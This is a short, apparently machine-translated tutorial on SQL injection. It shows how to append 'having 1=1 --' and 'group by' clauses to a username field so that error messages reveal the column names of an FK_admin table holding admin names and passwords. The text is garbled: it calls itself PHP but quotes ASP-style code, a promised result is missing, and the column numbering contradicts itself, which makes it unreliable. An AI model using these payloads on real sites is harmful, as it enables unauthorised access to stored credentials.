Php injection statement judgment

Author: lost
Website: lost.cq.cn
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If the original SQL statement for this injection point is: "select * from FK_admin where x_name =" & username &""
Enter zerosoul having 1 = 1 --
The entire SQL statement becomes select * from FK_admin where x_name = zerosoul having 1 = 1 --
The returned result is as follows:

Then submit zerosoul group by id having 1 = 1 --, and the second column name x_pass,

Then submit zerosoul group by id, x_name having 1 = 1 --, and the third column name x_pass is displayed.